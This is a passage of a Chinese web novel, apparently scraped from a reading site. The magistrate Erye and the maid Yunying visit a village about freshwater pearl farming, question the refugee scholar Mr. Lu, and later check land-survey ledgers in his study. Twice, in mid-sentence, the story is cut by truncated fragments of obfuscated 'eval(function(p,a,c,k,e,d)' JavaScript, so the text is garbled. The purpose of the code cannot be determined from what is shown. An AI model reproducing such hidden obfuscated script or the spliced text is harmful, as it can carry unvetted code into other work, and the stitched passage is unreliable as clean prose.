他就是来送二爷出门的,这就准备回去了,谁知道临回去前,还能看一场大戏。 话说,这后院里竟然还藏了这样一个会逢场作戏的人物?啊呸呸呸,什么逢场作戏,该说是小意温柔才对!他以前竟然没看出来她的能耐,他可真是眼拙了。 看看木槿,再看看站在车辕上,一脸平静,看不出正在想些什么的云莺,随雨抑郁了一会会。 这要是换做云莺有这心计手段,还这么豁得出去,二爷指定被哄得把什么好东西都给她了。 二爷也指定不是现在这个每天冷着脸的二爷了,肯定每天都春风荡漾,连正事说不定都抛到九霄云外了。 可惜,云莺不识抬举…… 这可真是,二爷想要的得不到,不想要的上赶着往上凑,就问二爷现在的心理阴影得有多大。 二爷心中如何想没人知道,但二爷此时看向云莺。 他唤了一声,“云莺”。 他的声音清润,在这碧空如洗的晴空下,愈发多了两分磁性。 云莺的心一下就被击中了,忍不住就颤抖了下。但她很快回了神,“二爷唤我有什么吩咐?” 二爷说,“这人,是你要带上的?” 二爷没说这人指的是谁,但现场所有人都知道,这就是指的木槿。 众人的视线都聚集在木槿身上,木槿脸色愈发红了。她羞涩的垂下头,很快想起了什么,便又 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“去街上去街上,街上能有什么稀罕玩意?我这么精心打扮,是为了给那些饭都吃不起的穷叫花子看的么?走了,回府!快点跟上,你还愣着干什么,还嫌不够给人笑话的不是?” 木槿冷着脸,谁也不看,径直跨过门槛,回了县衙。 如珠最害怕姑娘变脸,忙不迭跟上去。心中却叫苦不已,这之后几天她都要过苦日子了。 马车出了城,很快行到了田亩间。 云莺掀开车窗帘子往外看,就见比之上一次出来时,田间地头又多了许多青绿。 除此外,每走过一段路,就能看见有许多人在开荒。他们或是用着老牛,或是用着铁犁,再不济就用一些木头或是石头,或是一家子,或是几家合伙,众人合力将一些地块开垦出来。 百姓们面上都多了许多奔头,干活也更舍得下力气了。 柳儿掀开车窗也看到了此景,忍不住问云莺,“姑娘,今天上午我们见了好多牛和犁,这些东西都是县里发的对不对?” “应该是吧。” 具体情况云莺也不清楚。 毕竟她上一次过来时,地里边都没见到什么农具和牛。 但她还记得,之前二爷曾说过,若得了李主簿藏匿的那些赋税银子,就会将银子换成种子、耕牛和农具,分发给各乡镇,便与百姓使用,同时也会鼓励百姓开荒。 难道是回南天她没出门的这些日子,二爷把这件事情做了? 云莺觉得应该是的。 回南天这几天,她看着不间断的雨水都烦的什么都懒得理会。反观二爷,他乃天子骄子,却从未抱怨过这些繁琐的事情,反倒积极去处理,积极想办法让百姓开荒致富。比之二爷,她不是一般的颓废无用。 马车停下来了,这个地方有些熟悉,仔细一看,可不是前塘村。 说这话有些不准确,只能说,如今他们走到了前塘村和后塘村的交界处——也就是那口水塘。 前塘村与后塘村就是因为这口水塘而得名,这口水塘也有个名字,就叫弯月塘。 这水塘形状呈弯月状,由此而得名。水塘面积不小,但也不大,仔细估算,大约有两个村落大小。 云莺看到这口水塘,又后知后觉想起,之前办百叟宴时,二爷似乎说过一句,后塘村的里正,想用这口水塘养淡水珠? 珍珠养殖,先不说在这个时代可行不可行,只 说能提出人工养殖珍珠这个概念,这里正就不是普通人。 不出预料,二爷今天专门来这一趟,目的就是为了这口塘,以及珍珠养殖的事情吧? 云莺正狐疑的时候,二爷开口了,“云莺,过来一下。” 云莺平心静气,快步走到二爷旁边。“二爷,您唤我有何事?” “之前我与你说过后塘村想要用这口塘,人工养殖珍珠。” 云莺颔首,“您是说过,就在百叟宴之后,这事儿奴婢还记着。” 二爷并不纠结云莺一会儿在他跟前自称“我”,一会儿又自称“奴婢”。 她似乎根本没有为奴为仆的概念,对他也没有时人眼中对主子的敬重。不知是因为从小就没人教她这些,还是因为她心内其实对这一套嗤之以鼻,所以根本记不到心里去。 二爷不在意这些小事,他只在意云莺还记得他说过的话。 他眸中的情绪涌动,但很快又归于沉寂。 二爷问她,“那你觉得,用这口塘来养珍珠,能行么?” 云莺抿抿唇,看一眼二爷。 话说,二爷这是故意刁难她么? 她只是一个丫鬟也,她懂什么人工养殖? 若是在现代,她分分钟给他百度个答案出来,可现在什么可供参考的数据都没有,她更没有接触过这一行。所以,问题来了,二爷这根本就是有意刁难她吧? 云莺摊摊手,“二爷,现在世面上根本没有人工养殖的珍珠。现在的珍珠,不都是采珠女在深海里捞出来的么?人工养殖珍珠,能不能成,又需要在什么样的水域中,需要什么样的蚌,养殖时又需要什么样的外在条件,这些问题,前人都没有留下经验,二爷问我,我也说不出个所以然来。” 云莺纳罕的看向二爷,声音有些闷闷的,“二爷问我这个问题,是在刻意……” 二爷接话,“我刻意什么?” “刻意为难我么?” 云莺终于把这话说出来,她说着时,就担心话题太过沉重,让她与二爷之间好不容易缓和下来的气氛再变得凝重。是以,尾音中她添加了几分笑意,音调也拉长了些,这么一听,这话就不生硬了,倒像是熟人之间在开玩笑。 但二爷听了云莺此话,眸中却出现了怔愣。 他嘴唇蠕动两下,最后也只是干巴巴的吐出一句,“没有刻意为难你。” “我知道的,二爷日理万机,肯定不会和我这个小女子计较。二爷大人大量,也别把我刚才那话听到心里去,我刚才真就是开玩笑的。” 091 养珠? 云莺感觉有些尴尬,她似乎说错了话,把好好的气氛又闹的不愉快。 好在,很快有人走了过来,替云莺解了围。 “大人,还真是您来了我们村?大人,快快到家里坐,家里有茶水糕点,您先到家里歇歇脚。” 来人可不正是后塘村的里正? 当然,云莺并不认识此人。只是听这老者身后的年轻人焦急的喊着,“里正大人,您慢些,您腿脚不好,可别再摔了。” 也是从这一句,云莺才意识到,眼前这个其貌不扬,长了满脸麻子,瘦小孱弱,似乎还跛了一只脚的老头,就是后塘村的里正。也即是那个非常有头脑,提出了人工养殖珍珠的人。 云莺忍不住多看了几眼,心中念着,当真是人不可貌相。 后塘村的里正名王河,乃是个六旬左右的老者。但因为日子艰苦,他看起来足有七十。真就是孱弱又衰老,好像马上要迈进棺材里。 但这王河精气神不错,看见二爷时,说话声音响亮,甚至有些破音了。 他殷切的要让二爷随他回家坐一坐、用一杯茶,二爷自然都拒绝了。 王河还想再劝,二爷却先一步开口道,“我过来看看弯月塘的水质。年前你说过,想用这口塘养珍珠。这弯月塘合适么?养珠的具体条件你们弄懂了?具体情况如何,当时我没细问,如今还需你仔细与我说一说。” 王河精神大震,王河眸中露出振奋的光芒。 上次他在百叟宴上与县令大人说过此事,可过了三个月,县令大人也没问找他询问具体情况。他以为这就是一种拒绝,是县令大人不看好这个异想天开的提议。却哪里能想到,竟在今天,县令大人特意拨冗过来寻他,就为了了解人工养珠的可行性。 这可太让王河欢喜了。 但问题来了,这养珠的提议不是他想出来的。 王河面上的为难没有逃过二爷的眼睛。 二爷不由挑起了眉头,“可是有什么难言之隐?” 王河说:“县令大人明鉴。” 随即将事情如此一说。 原来,提出人工养殖的,乃是早先来后塘村避祸的一户卢姓人家。 “那户人家是逃难来的后塘村。” 那一家之主看着是有些见识的,很是儒雅端方,还读书识字。 他带着一个大着肚子的妇人,以及两个五六岁的双胞胎男孩儿。 当时妇人临产,双胞胎之一吃了不该吃的东西,整个人快拉虚脱了;他们一家人也是倒霉,偏巧还遇到山里的猛兽。也多亏那男人有一把子力气,手里也带了刀具,不过最后虽然撵走了野兽,男人大腿上也被顶了一个窟窿。 这也就是当时身为后塘村里正的王河的父亲心善,赶紧让人把他们抬到了村里,又让人跑到县城请大夫救治他们,不然,一家子不定死几口。 “与我说养殖珍珠的,就是那位卢先生。他有些学识,如今就在后塘村教孩子们识字。大人,草民与您说实话,草民不是第一次与县里的大人们说养珍珠的事儿,只是县里一直当我在开玩笑。这一拖就是十年八年,如今重提此事,我也就是习惯性的问上一嘴,谁知道,您还真放在心上了。只是养珍珠这事儿,具体需要哪些条件,我也说不太清楚,还是请卢先生过来与您说吧。” 二爷闻言眸中露出思索之色,就连云莺,也忍不住深思起来。 一个外来户,一个知道该如何养珍珠的外来户,这位卢先生,当真只是个普通的逃难者么? 心里有许多怀疑,更有许多想法,但此时都不方便提出来。 二爷只说,“那就请卢先生来一趟吧。” 话落音,二爷看到云莺抬起胳膊,遮了一下头上的太阳,他又立即转了话音,“还是我们随你回村里一趟。” 王河忙道:“好,好,县令大人这边走,还请到寒舍一坐。” 之前跟在王河身后跑的那个年轻人,也即是第一眼认出二爷的年轻人,此时撒开腿就往村里跑。 这年轻人机灵、有眼色,但不肯踏实种田。这也就是他懒了些,但却没偷鸡摸狗过,不然高低得给他个二流子的名号。 也就是这个年轻人,之前去县城凑热闹,看二爷审案,这才对县令大人的长相有些隐约的印象。 他觉得来弯月塘这边的贵人,是县令的可能性更大一些,所以就唤来了里正。结果,还真是县令大人啊。 这年轻人加足马力跑回村子,一溜烟跑到卢先生家,然后就喊叫起来,“卢先生,快快快,赶紧去里正家一趟,县令大人寻你说养珍珠的事情。” 卢先生家与周围百姓的家没什么两样,都是用茅草屋搭建的房子,因为家里有两个小子一个姑娘,是以茅草屋搭了三间,另还有一间简陋的灶房。 这小院与四邻街坊的小院一样简陋,但收拾的特别干净。茅草铺的整整齐齐,砌墙的土坯方方正正,院子里载着蔬菜,墙角的位置种了两颗果子树,果子树上扯了一根晾衣绳,此时清洗的干干净净的衣衫搭在上边,迎风招展。 卢先生正与夫人在屋里搓麻绳,准备用来编草鞋。听到外边的喊叫声,两人先是吓了一跳,随即又听到里正 、县令大人、养珍珠什么的,卢先生与其夫人都坐不住了。 卢夫人一边起身一边小声说,“养珍珠这事儿,真能成么?” 卢先生道:“成不成的,总得试一试。” “可是……” “放心,我知道你担心什么。只是我们都躲到这云归县来了,想来那些人无论如何也找不到我们。至于养珍珠这事儿,最终能不能成还得试验过后才知。若真成了也不怕,县令大人指定会保住我们。” “可我还是担心……” “晚娘,这里的百姓太穷了。你算算从我们落脚在云归县后,这十里八村先后饿死了多少人。甚至就连给你接生过的那位老婶子,都是因为磕破头没药救治离去的。这但凡手里有几两碎银,她都不至于走的那般早。” 听了这话,被称为晚娘的妇人再不 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卢先生素来好脾气,即便被人问到脸上,也没有丝毫不耐烦。但县令大人等着,现在再不过去要失礼了。 卢先生冲众人拱拱手,赶紧跟在年轻人身后,往里正家里赶去。 此时云莺与二爷已经在里正家里了。 别看是里正,在这十里八村多少有些脸面,但大环境都很贫困,里正家里也没好到哪里去。 不过比之旁人家三两间茅屋,里正家有五间茅草屋。且茅草屋修建的都很气派,院子看着也比别人家的院子更阔朗一些。 里正家还养了一头牛,两只羊与两只黑毛猪。在牲口圈旁边一个栅栏里,竟然还有几十只鸡鸭混养在一起。 牲畜多了,院子里的味道自然不好闻。但只看这么多牲畜,就知道里正家的日次肯定没多差,这又是让人高兴的事情。 云莺和二爷在院子里喝茶。 说是茶,其实就是在一个粗陶大碗里放了些茶叶沫。 里正家的老太太亲自端了茶水来,云莺见老太太走路都颤巍巍的,赶紧上前去接。老太太却不肯给她,只说那陶壶烫手的很,她手皮薄,小心要烫出水泡来。 云莺不怕水泡,她只怕老太太走不稳,再摔了跤。 不过为何是这老太太来送茶水,而不是里正的儿媳妇们,云莺只听那些窗户口的动静,多少猜到了一些。 指定是因为畏惧县令大人的威严,不敢上前来。 最后,还是云莺接过了茶水,亲自给二爷斟了茶。 里正就坐在一侧与二爷交谈,云莺本想退到远处去,却不想二爷招招手让她也过来坐——她走不惯村里的泥路,方才歪了一下脚。不严重,但走路时多少能看出些异样。二爷怕她活动的厉害,回头再伤到筋骨,便让她在身边陪坐。 当然,二爷这个考量,云莺是不知道的。 只是在外人面前,她肯定不会驳了二爷的面子,二爷让她坐,她自然就坐下了。 092 卢家 卢先生来的很快。 这竟然真的是一位非常儒雅温和的先生。 虽然他满面风霜,看起来很是穷困窘迫,但有些人的风骨是刻在骨子里的。即便他穿着短褐,穿着草鞋,肤色被晒得黝黑,手上还有一道道细小的疤痕,但这也丝毫不耽误云莺一眼认出来,这就是个有来历的读书人。 云莺看向了二爷,二爷似乎察觉到身侧的视线,也看向云莺。两人眸中都是同样的神色,对视后唇角抑制不住的上提,但又意识到眼下是什么场合,又迅速恢复如常。 卢先生与二爷见礼,二爷低声唤了起,之后两人也没有过多寒暄,而是直接说起了弯月趟养珠的事儿。 二爷问这事儿的可行性,问人工养珠可有前例,又问陆先生是从何处得知的这些。 卢先生有的问题回答了,有的则用沉默来回复。 他不是一个会骗人的人,但对于一些难以回答的问题,卢先生选择了回避。 这若是遇到一个脾气大的县太爷,免不了要说卢先生张狂。 事实上,里正已经忍不住给卢先生盖了一个“目中无人”的戳。 这卢先生以往看着当真是非常亲和,村里的百姓,别管是穷苦的还是日子好过的,他待人都是彬彬有礼。他也从未在外边说过别人是非,与四邻有过任何纷争。 可就是这样一位有礼有节的先生,他面对县令大人时,竟然拿大起来。 里正急的火烧眉头,忍不住在桌子下踢了踢卢先生的腿。 但有些问题在卢先生看来是忌讳,他若回答,便要暴露来历。 他自然是不想的。 最起码,在没有做出成绩,让县令大人承诺会护佑好他们一家人的安全之前,他不可能说出与身份有关的任何字眼。 里正的急切他看在眼里,但有的问题当真不能回答。 不仅里正急,就连跟都门外的卢夫人,此刻也很急切。 她担心卢先生得罪县太爷,她又担心,若真是他们的来历被泄露,她们一家人会被带回族里,那才是真的死到临头。 也好在县令大人当真不是一个,喜欢与人计较的人。 更或者说,只要卢先生说的东西有用,即便他摆再大的谱,再是目中无人,二爷也不会与他计较。 二爷又问起养珠的条件以及可行性,这个问题卢先生早就打好了腹稿,他张嘴就要说。 但里正却张口加了停。 在众人的注视下,里正冲二爷拱了拱手,“大人,此事事关重大,大人与卢先生要不要进屋里说?” 里正一脸严肃,“这件事若不成也就罢了,若是成了,那就是天大的好事儿。若走漏了风声,被别人学了去……” 里正自然想做独家的生意,毕竟越是稀有才越赚钱。 但县令大人肯定不这么想。 若淡水养珠能成,大人指定会在云归县铺展开……但还是那句话,他们整个县都跟着受益可以,若再增加到岭南府,或是再增加别的州府,到时候人工养珠成了烂大街的手艺,他们辛辛苦苦忙碌一场,却为他人做了嫁衣,那想想都要呕死。 二爷显然也想到了这点,便在里正的引领下,带着卢先生进了里正家里的正房。 他们具体说了什么,云莺自然是不知道的。 云莺与随云、雷霆三人在外边守着,因为随云与雷霆的气势太强,骇的里正家的家小都不敢说话,云莺便打起精神与里正家的人寒暄起来。 她或是询问里正家的老太太今年高寿,或是问那扎着小揪揪的孩童今年几岁了。 当然,因为知道卢先生会在农闲时,教导后塘村的孩童读书认字,云莺还问那童儿,卢先生教导的如何,他学的如何,卢先生除了教他们识字外,平常可还有教导他们其他东西。 那里正家的小孙子是个小话痨,也或许是云莺长相貌美、态度又亲和,小孩子不怕她,在她面前就放开了胆子。 小家伙脆生生的回复着云莺问题。 “卢先生教我们读好多书,不过我年纪小,只学会了<三字经>。我背给你听啊,‘人之初、性本善、性相近、习相远’……” 背到一半,孩子忘记该怎么背了,顿时红了脸。 但小家伙很快又转移话题说,“卢先生还教我们写字,我写的不好,卢先生让我平常无事时多练练。就用木棍在地上写,倒是不费事,就是费手。卢先生知道的东西可多了,他还会做肥皂,他还给我们讲海神的故事。” 云莺之前一直没打断名叫阳儿的孩子说话,此刻听到“海神”两字,忍不住开口问他,“海神是什么?” “海神就是海上的神啊。卢先生说,从我们这边一直往北走,那边有些百姓是以打渔为生的。他们不是在河里打渔,是在海上打渔。出海打渔的人都敬畏海神,每次出海前,他们都会做法祭祀,让海神保佑他们平平安安。” “不过祭祀海神的时候,可血腥了。” “怎么血腥了?” 小童儿偷偷和云莺咬耳朵说,“这事儿我只告诉你,你不要告诉其他人啊,我都没告诉我爹娘和祖父。” 云莺点 头说好。 得到她的保证,阳儿才趴在她耳朵上说,“祭祀海神要用活人啊。听说不仅要用小孩子,还要用大人。小孩子是给海神当下酒菜的,大人就是送去伺候海神,给海神洗衣做饭生小海神的。哎呀,总归可吓人了。” 云莺忙附和的露出害怕的表情,“你从哪里听到的这件事,你不觉得害怕么?” “我偷听师母说的啊。当时我祖母炖了我家的老母鸡,让我给师母送去一碗鸡汤,说是谢她教我姑姑刺绣。我过去送汤,就听到先生和师母在说海神的事儿。云姑姑你可不要把这事儿说出去啊,不然我要挨打的。不过这事儿可真恐怖,被送出去祭祀的大人小孩儿,指定都死了吧?” 云莺连忙保证不会将事情说出去。至于被送去祭祀的人最后死了还是没死,云莺没说。 她从荷包中掏出几块糖果,塞给阳儿,让他和弟妹们一起吃。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“卢夫人手巧心善,还教过我家的丫头针线手艺。那一手女工,当真是出神入化。云姑娘你是没见过,卢夫人刺绣的图案,简直跟真的一样。只是她生产时伤了身子,卢先生又会心疼人,宁愿自己在田地里劳累,也不愿意卢夫人做针线挣银子……” 絮絮叨叨的,云莺从老太太嘴里套出来不少话。这其中那些有用那些没用,云莺也不知道,但她尽可能的将老太太说的全记下。 中间雷霆离开了片刻,回来时手里拿着好大一条子肉,并一只半大的黄山羊,还有些酒水米面。这意思,赫然就是今天中午要在这里用膳。 老太太见状,赶紧一拍额头,“你看我这记性。云姑娘你先坐着,我得去做饭了。大人难得来一次,可不敢让你们空着肚子回去。” 又连忙推拒雷霆手中的东西,“那好要你们的礼,这些东西家中尽有的。家中还有鸡鸭,我这就让人杀来吃。” 雷霆却不是会和人推来让去的性格,他径直走向灶房,将东西放下又走出来。 东西都搁在屋里了,自然是不能再推辞了。老太太就忙喊几个媳妇出来帮忙。 其实不用老太太喊,几个媳妇全都透过窗子上的窟窿眼,一只盯着外边的动静呢。 看见那一条子肉和黄羊,她们都忍不住流口水了,即便老太太不喊她们,她们很快也要跑出来了。 093 被摆了一道 一行人在后塘村待到半下午才回去。 期间二爷与卢先生用过午膳后,协同里正一道去了弯月塘,留下云莺在里正家等着。 似乎是不放心云莺的安全,二爷还特意留下随云作陪。 然后,就在随云讶异的视线下,云莺自然流畅的融入到一众妇人老太太的家长里短中。 她话其实很少,但就是有一种本事,能让人引她为知音,恨不能将自己所知道的所有事情都告诉她。 当然,她有这种魅力,她那张好看的脸功不可没。 但不管怎么说,从后塘村百姓的絮叨中,云莺得到了许多信息。这些信息,远比之前里正家的老太太告诉她的,还要更充沛更完善。 由此,云莺不动声色间,就将卢家的事情摸了个彻底。 这种本事,也是让随云佩服的五体投地。 一行人启程回县城时,随云趁着二爷与卢先生作别,凑近了问云莺:“你不是很厌恶与人交际?怎么在这里又和人打成一片?” 云莺露出狐疑的表情,“我什么时候厌恶与人交际?” 她略思索,随即恍然大悟,“难道你是在指,我在县衙中嫌少出门,与人交往也不太热络?” 随云点头,“这不就是不喜与人交际?” “这还真不是。”云莺笑了,“我又不是性情孤僻的怪人,哪里会想一直一个人待着?不过是那些人心眼子多,我应付不来,才总是表现的冷冷淡淡,不太热情。” 随云深思,“二爷城府也深,你不想与二爷在一起,是不是也有担心应付不来二爷的原因在?” 云莺露出震惊的表情。 云莺整个人都快碎裂了。 话题怎么就转到二爷身上了? 她不与二爷热络,真就是不想做妾室,哪里是因为二爷心眼子多? 随云你是怎么了? 你怎么关心起这些事情了? 你怎么还往我头上扣帽子? 随云微颔首,“我明白了。” 云莺伸出手,想阻拦住离开的随云。 你倒是把话说明白啊,你到底是明白了什么了? 云莺又看向二爷,就见二爷不知何时已经与卢先生作别完毕,此时正好整以暇的站在不远处看着她。 随云走到二爷身边,与二爷低语几句,云莺条件反射就觉得,随云指定是把刚才两人的对话告诉二爷了。 二爷的眼神都不对劲了。 但云莺真觉得委屈。 她没觉得二爷心眼子多。 她也没觉得二爷城府深……好吧,不管二爷城府深不深,他也没将那些心眼用在她身上,所以这真的不是她选择与二爷疏远的原因啊。 云莺顾自凌乱着,二爷已经喊了她上车。 她应了一声,磨磨蹭蹭走上前,就在路过二爷身边时,云莺到底忍不住为自己辩解了一句,“二爷,我真没觉得你心眼子多。” “什么?”二爷垂首看着她,“心眼子多?你这话是什么意思?” 云莺心一跳,没有回答二爷的问题,反倒是问他:“二爷……刚才随云与您说了什么?” 二爷眸光深邃的看着她,“她说你今天立了大功,卢家的根底被你问的八九不离十了。” “就这些?” “就这些。” 云莺露出心如死灰的表情。 她竟然被随云摆了一道。 她看向随云,随云已经上了马,此时正俯视着她。 仔细看,他嘴角微微翘起,眸中含着若有似无的笑意。 云莺表情僵裂了。 她是什么时候得罪了随云么?随云竟这么耍她。 二爷又问,“所以,心眼多到底是什么意思?” 云莺欲哭无泪,“二爷,我说没什么意思,您信么?” …… 回城的路上,二爷没骑马,而是与云莺一道坐在马车上。 云莺一边回忆着自己打听来的事情,一边详细的将那些消息告诉二爷。 她没有添加主观论断,也没有在叙述中增添自己的情绪,真就是非常客观的,将卢家的事情说了说。 二爷认真听着,面上表情丝毫不露。 但只从他过分平静的面容,云莺也猜到,二爷指定把她的话听到耳朵里了,事后肯定要派人将卢家查一查。 这事情毕竟太重大了。 人工养珠若真能成,那就是千古功业。这能给二爷的仕途增添多少砖瓦且不提,只说若真成了,只凭这一项手艺,就能让云归县的百姓脱贫致富,就能彻底摘掉这个穷困不毛的帽子。 只是,若人工养珠是偷窃了别家的秘技,而能拥有这样秘技的人家,指定也是豪门大户。 ——这并不意味着,这项技术若为他人所有,二爷就不用了。 并不是的! 只要对民生百姓有大益,二爷指定还会用。 但在用之前,肯定要做好万全的防备,掌握好切实的、可以拿捏住对方的证据,让对方即便笃信他们“窃取机密”,也不敢擅自妄动。 云莺的话很快说完了,她又恢复了沉默。 二爷没有表态,但他眸色深邃暗沉,显然, 早不知道算计到哪里去了。 云莺担心这么静坐着太尴尬,就从柳儿手中接过茶水,亲自给二爷倒茶。 柳儿被夺了差事,只能努力缩小身影藏在马车的角落处。 话说回来,她也有些怕二爷啊。 二爷喝了茶,静坐着思虑事情。 因为他的注意力不在云莺身上,云莺倒是没那么提心吊胆了。 她很快便放松下来,神情变得静谧安详。 马车很快进了城,又很快到了县衙。 云莺跟在二爷身后,目送着二爷走进前院,自己也准备带着柳儿往后院去。 也就是此时,二爷开口说,“云莺,过来一下。” 云莺愣了愣,硬着头皮跟上去,直至跟到了二爷的书房中。 云莺将近两三个月没来二爷的书房了,可二爷的书房还是老样子。 靠墙的位置依旧拜访着成排的书架,窗户跟下放着一张黄花梨木的大桌案;桌案与墙壁的夹角内,是一个大大的青花梅枝画缸。 二爷在京城的那位损友之前送来的画卷,就放在这画缸中。 而在门后边,放着一个沙漏,沙漏旁边又有一个景泰蓝三足象鼻香炉。 此刻香炉中正袅袅的吐出青烟来,书房中溢满了清雅纯净的檀香味。 二爷就站在书架旁,从上边取出许多册子来。 他挺拔的背影颀长消瘦,可又给人十足的力量感。 云莺只是这么看着,便感觉心跳如擂鼓。 她站在门口,不敢再往前踏足一步。 二爷找好了东西,回首看向她,“还站在门口做什么?” 他陡然开口说,“外边有随云守着,不用你替他守门。进来把这些册子核算一下。” 云莺回神过来,机械的重复二爷的话,“核算册子……核算什么册子?” 二爷不紧不慢的说,“之前的田亩丈量已经结束,你来核算一下具体数据。” 云莺混沌的头脑彻底清醒过来。 核算数据? 她之前答应过此事么? 她貌似只答应过二爷,要随二爷去测量田亩? 但时间间隔太久了,当初那话到底是怎么说的,她都忘干净了。 云莺顾自琢磨着,二爷又开口问了,“这件事,会做么?” “会的吧。”心神不属的云莺回道。 但话才刚落音,云莺又陡然一机灵。 话说,作为一个从小被养在庄子上的美人,她会珠心算还能说得过去,但还会核算田亩面积,这事情说的过去吗? 要知道,如今的田亩核算是很复杂的一项工程。其间涉及到长度、宽度,还有《九章》中一些公式的应用,这在很多地方,是连那些饱读之士都不会的东西。 云莺说她会,她这是自己给自己拆台么? 她又赶紧改口,“不,不会……我应该不会。” 二爷目光如炬,“到底是会,还是不会?” 云莺侧过去脸,不再直视二爷的容颜。他的脸对她诱惑力太大,只是这么看着,她的思想便不受控制的变得污秽起来。 云莺说,“庄子上的嬷嬷没有仔细教过,但我之前看过不少杂书,其中有说面积该怎么测算的。我闲来无事学了一些,感觉……也不是太难。” “那就是学会了?” “可能吧。” “那你过来算一下看看。” 云莺硬着头皮,坐到自己早前坐过的位置。 属于她的那张太师椅,还放在原地没有挪动,甚至就连上边的软垫,都规规矩矩、严严实实的盖在座位上。 这软垫与这肃穆的书房是如此的不搭配,可它自始至终没有被人挪动,这又让云莺的精神恍惚起来。 她坐在位置上,二爷随手递过来一本册子。 这册上其实已经核算过,每家每块地的具体面积。但只核算过,还没审查纠错,如今二爷让她做的,就是这个工作。 云莺翻开册子,二爷也磨好了墨汁,将砚台推到她跟前。 云莺会珠心算,她计算简单加减的数据自然不需要书写。 但计算田亩并不是只加加减减便行,其中涉及到单位的换算,以及简单的乘法——最重要的是,云莺作为一个“自学成才”的新手,她对核算田亩这件事,肯定是很生涩的。若是她不用纸笔写出计算过程,随手就能判定册子上的数据是对是错,就显得她这个人的来历,太值得推敲了。 云莺不想太露馅,她硬是装作一个新手样子,艰难的写出了前三个步骤。她很快也得出了自己想要的数据,而这个数据与册子上的数据是一样的,云莺便高兴的在数据后边画了一个圈。 她准备继续往下核算,二爷又开口了,“你学的确实挺好。只是……” 云莺心一跳,以为二爷看出了什么,当即身体紧绷,“只是什么?” “只是有个更简单的公式。” 二爷从云莺手里拿过纸笔,龙飞凤舞在纸张上写了一个新公式。 云莺是仔细学过《九章》的,对于这个《九章》中的这个公式自然不陌生。 但是,这个是《九章》中计算田亩面积的高级公式。虽 然更简单便捷,但绝对不是她这样的新手,只凭借读过一两本,就可以弄懂的知识。 云莺装傻,“二爷,这个公式也是计算田亩面积的么?” “对。” 二爷随即将这个公式的出处,以及该如何使用,详细与云樱说了一遍。 他磁沉的声音近在耳侧,他炽热的吐息落在云莺的耳畔与脸颊上。 这一刻时间是如此的难熬,难熬到让云莺隐隐懊悔,懊悔她刚才就不该装傻,她就该直接用最简单的办法核算面积。 但是,她不敢。 是以,她只能虚心接受二爷的教导。 好在,云莺很“机灵”,在二爷第一次询问她“学会了么?”时,她便迫不及待点了头。 “我算一个给二爷看看。” 云莺计算的很快,下笔的速度也很快,不过几个呼吸间,她当真用二爷教导给她的新知识,核算好又一个田亩面积。 二爷的眸中就露出欣赏之色,甚至忍不住说了句,“你倒是好天赋,可惜了……” 可惜什么二爷没说,云莺也没继续问。 二爷可惜的,无外乎是她没有早早遇见他,没有一个好的家世出身。不然,就单凭她在算学上的天赋,高低都要给自己挣一个“才女”的名头来。 云莺没说话,低头沉默的核算书籍。 那支小号的狼毫在她手中像是有了灵性,她随意的挥洒,一连串的数字在她笔端倾泻而出。 她是如此的熟练,又是如此的自在,徜徉在自己熟悉的领域,她不在掩藏自己的风华,她是如此的自信迷人。 二爷的眸色更深了,喉咙更是忍不住上下耸动起来。 他攥紧了手指,又抿紧了嘴唇,他伸出手想要摸摸她飞扬的发丝,但最后,二爷也只是轻声与她说,“这边光线不好,去我那边坐吧。” 云莺停顿了动作,低声拒绝,“一会儿点上灯就好了。我视力好,看的清楚的。” “过去坐吧,我还有些事儿,要去一趟县衙,你坐那边计算的能更快些。” 二爷说完这句话,没有再停留,转身就出了书房。 他走后,书房更安静了。 云莺的笔也彻底顿住了。 她扭头看向身后,身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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云莺对这本书籍略有印象,这似乎是二爷的师兄从西北给他送来的书。 云莺“哦”了一声,开始收拾书案上的东西。 砚台依旧推回到二爷那方,狼毫则用清水涮干净,重新放回笔架上。 核算了一半的册子放在一边,没有核算的放在里边桌角位置。 一切处置妥当,云莺才有时间看向窗外。 外边天已经黑透了,她该回去了。 云莺就说,“二爷,那我先走一步,等明天再过来。” 二爷“嗯”了一声,“去吧。” 云莺转身往外走,拉开门,又关上门。 走出了书房所在的院子,然后被柳儿接上,一道回后院去。 柳儿窥了一下姑娘的面色,好奇的将自己的问题问出来,“姑娘,您怎么不陪二爷用膳啊?” 柳儿说,“二爷还没用膳呢。” “二爷忙着呢,哪有心思用膳?再说了,我也只是一个管事,那能天天逾矩,去吃用主子的分例。” “可是……” 柳儿咬着牙,可是了半天,也没可是出什么。 当然,她嘴上是没说出来,可心里却想着,可是以前姑娘但凡在前院忙碌,都是在前院用膳的啊。 而且每 次还都是姑娘和二爷一道用膳,那时候姑娘怎么就没想起逾矩这个词呢? 柳儿心里腹诽不止,可这些话,她不敢说出来。 尽管她真的疑惑到了极点,但也只能寻穗儿说道说道,在云莺跟前,她是根本不敢胡言乱语的。 回了后院,穗儿已经在给云莺铺床了。 猛一听到柳儿说,姑娘还没用膳,穗儿楞了好大一会儿。 要她说,姑娘又随二爷出去了一趟,回府后还直接随二爷去了书房,且一待就是一个多时辰,那这不明摆着,姑娘与二爷已经和好了? 事实上,姑娘与二爷和好如初的消息,已经传遍了整个府邸。 穗儿也在心中默认,姑娘今天会在二爷哪里用过晚膳再回来。 可姑娘竟然没用膳就回来了。 是和二爷还没彻底和好,还是有别的原因? 穗儿不方便问云莺,只能趁着云莺去洗漱的空档,喊来柳儿,两人凑近了嘀咕了一会儿。 然后,得到了自己想要的答案,穗儿圆圆的脸上一片苦闷。 姑娘怎么还拿乔上了? 说什么逾矩不逾矩的,只要二爷留膳,只要姑娘愿意,这府里谁敢说一句姑娘逾矩? 穗儿有心劝姑娘,别太拿乔,毕竟男人的宠爱来的快,去的也快。 姑娘最聪明的做法,就是趁着二爷对她还有情谊,努力抓紧了二爷,最好再生下个儿子。 如此,姑娘一辈子的保证都有了,还能升做姨娘——虽然是姨娘,可京里的原配夫人不愿意陪二爷外放,那姑娘和正室夫人又有什么两样? 趁年轻有宠再攒下些体积,姑娘的一辈子肉眼可见的顺当。 明明是放在眼前的一条坦途,姑娘怎么就硬是不肯走呢? 